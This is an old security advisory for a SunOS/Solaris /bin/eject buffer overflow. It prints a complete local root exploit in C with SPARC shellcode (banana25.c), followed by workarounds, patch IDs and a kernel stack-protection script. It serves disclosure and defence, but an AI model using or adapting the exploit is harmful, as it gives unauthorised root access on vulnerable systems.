COMMAND
/bin/eject
SYSTEMS AFFECTED
SunOS versions 5.3, 5.4, 5.5, 5.5_x86, 5.5.1, and 5.5.1_x86 are
vulnerable.
PROBLEM
Cristian SCHIPOR exploited the buffer overflow hole in /bin/eject
on Solaris 2.5 (who have suid exec bit and is owned by root). The
buffer overflow problem appears in an internal function
media_find(). The result is: any user can gain root shell.
Cristian wrote an exploit for 2.5. argv[1] can change the
STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step
is 8). The interesting thing about this exploit it worked on
some machines where it was installed some stuff to make inofensiv
buffer overflows exploits ...
------------------------- banana25.c -----------------------------
/* Wrote for Solaris 2.5.1 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 364
#define EXTRA 400
#define STACK_OFFSET 400
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/eject", "eject", & buf[1],(char *) 0);
perror("execl failed");
}
----------------------- end of banana25.c ------------------------
SOLUTION
Sun recommends, as a workaround, that setuid permission be
removed from the eject and fdformat programs by using commands
such as the following:
chmod 555 /usr/bin/eject
The same vulnerabilities have been fixed in the upcoming release
of Solaris 2.6. The vulnerabilities relating to eject in the
volume management library are fixed by the following patches:
OS version Patch ID
---------- --------
SunOS 5.5.1 104776-01
SunOS 5.5.1_x86 104777-01
SunOS 5.5 103024-02
SunOS 5.5_x86 103044-02
SunOS 5.4 101907-14
SunOS 5.4_x86 101908-14
SunOS 5.3 101331-07
To prevent /bin/eject exploit, you have to get out suid-exec bit
from /bin/eject (that's very simple) and compile a little program
like:
main()
{execl("/bin/eject","eject","floppy",(char *)0);}
That allows your work station ordinary users to eject floppy
(thats the main task for eject).
Jonathan Sturges said following: "I was just testing this on my
Solaris 2.5 (SPARC) boxes. And, it appears that if you're
running Volume Management (vold), that eject doesn't need to be
set-UID anyway. Here's what I did:
* chmod 555 /usr/bin/eject (hard-linked to /bin/eject). This
immediately protects you from the exploits.
* If volume management is running (/usr/ucb/ps -auxww | grep
vold), you can still eject BOTH CD's and floppies.
* If volume management is NOT running, you CANNOT eject the
CD (device permissions are 640), but you CAN still eject a
floppy (perms are 666).
These permissions seem to be the default permissions on Solaris
SPARC 2.5 and 2.5.1.
Running the exploits, under and eject #1, will only pop you a
shell as yourself, of course, once /usr/bin/eject has perms. 555.
But for thsoe srunnign SPARCs (non-sun4/sun4c) there's always:
#!/bin/sh
#
# Protect SPARC stack against unwanted exec access
# Side effect: growth in data segment also loses exec bit.
# This may break some programs.
#
# Install as:
# /etc/init.d/protect_stack
# ln /etc/init.d/protect_stack /etc/rc2.d/S07protect_stack
#
# And all programs except init are protected after the next reboot.
#
# After installing the scripts, first test with:
#
# /etc/init.d/protect_stack start
#
# Then start a new shell and test changes with /usr/proc/bin/pmap.
#
# csh -fi
# % pmap $$
# ......
# 00047000 56K read/write - instead of rwx
# 0004D000 32K [ heap ]
# ......
# EFFFC000 8K read/write - instead of rwx
# EFFFC000 16K [ stack ]
# EFFFE000 8K read/write
#
#
# Seems to work on 2.4/2.5/2.5.1 but this may vary by patchlevel.
# Not all Sun MMUs support this, but it seems to haev effect on sun4m and
# sun4u, probably won't have an effect on sun4c.
#
# The assembly checking may need tweaking depending on OS level and
# patchlevel.
#
# Casper Dik (Casper.Dik@Holland.Sun.COM)
#
# The contents of this file are intended to be read as
# an example. This is not a supported product of Sun
# Microsystems and no hotline calls will be accepted
# which directly relate to this information.
#
# NO LIABILITY WILL BE ACCEPTED BY SUN MICROSYSTEMS FOR
# ANY LOSS (DIRECT OR CONSEQUENTIAL) INCURRED IN ANY WAY
# BY ANY PARTY THROUGH THE USE OF THIS INFORMATION.
#
# NO WARRANTY OF ANY SORT IS IMPLIED OR GIVEN FOR ANY
# CODE DERIVED FROM THIS INFORMATION.
PATH=/usr/bin:$PATH
#
#
# Set/get values using adb.
#
getvalue ()
{
echo $1/$2 | adb -k /dev/ksyms /dev/mem | awk "\"$1:\""' == $1 {print $2}'
}
setvalue ()
{
echo $1/$2$3 | adb -wk /dev/ksyms /dev/mem >/dev/null 2>&1
}
#
# Check whether setting/unsetting is not dangerous.
#
check ()
{
map=`getvalue $mapaddr X`
zfod=`getvalue $zfodaddr x`
if [ "$map" = "$oldmap" -a "$zfod" = "$oldzfod" ]
then
old=true;
else
old=false
fi
if [ "$map" = "$newmap" -a "$zfod" = "$newzfod" ]
then
new=true
else
new=false
fi
}
p=`basename $0`
zfodaddr=zfod_segvn_crargs+0xd
case "`uname -p`" in
sparc)
#
# Instruction should at $mapaddr should be: mov 0xf,%reg or mov 0xb,%reg
# this is a synthetic instruction that encodes as or %g0,0xf,$reg
# 10rr rrr0 0001 0000 0010 0000 0000 1x11
#
# Try and find it at several locations. Addresses must be specified
# the way adb prints them.
#
for mapaddr in map_hunk+8 map_hunk+0xc
do
mapval=`getvalue $mapaddr X`
case $mapval in
[9ab][02468ace]10200[bf])
reg=`expr $mapval : '\(..\)'`
break;;
esac
done
if [ -z "$reg" ]
then
echo "${p}: Instruction doesn't match" 1>&2
exit 1
fi
echo "${p}: Instruction prefix set to $reg ($mapval@$mapaddr)"
oldmap=${reg}10200f
newmap=${reg}10200b
oldzfod=f0f
newzfod=b0f
;;
i386)
# Try and find it at several locations. Addresses must be specified
# the way adb prints them.
#
for mapaddr in map_hunk+0x19
do
mapval=`getvalue $mapaddr X`
case $mapval in
[bf]f545c6)
reg=true
break;;
esac
done
if [ -z "$reg" ]
then
echo "${p}: Instruction doesn't match" 1>&2
exit
fi
oldmap=ff545c6
newmap=bf545c6
oldzfod=f0f
newzfod=f0b
;;
*)
echo "Unknown kernel arch"
exit 1
;;
esac
case "$1" in
start)
check
if $new
then
echo "${p}: Stack already protected" 1>&2
exit 0
fi
if $old
then
setvalue $mapaddr W $newmap
setvalue $zfodaddr w $newzfod
echo "${p}: Stack protected"
else
echo "${p}: Kernel value mismatch $map != $oldmap or $zfod != $oldzfod" 1>&2
exit 1
fi
;;
stop)
check
if $old
then
echo "${p}: Stack already unprotected" 1>&2
exit 0
fi
if $new
then
setvalue $mapaddr W $oldmap
setvalue $zfodaddr w $oldzfod
echo "${p}: Stack no longer protected"
else
echo "${p}: Kernel value mismatch $map != $newmap or $zfod != $newzfod" 1>&2
exit 1
fi
;;
*)
echo "Usage: ${p} [start|stop]" 1>&2
exit 1;;
esac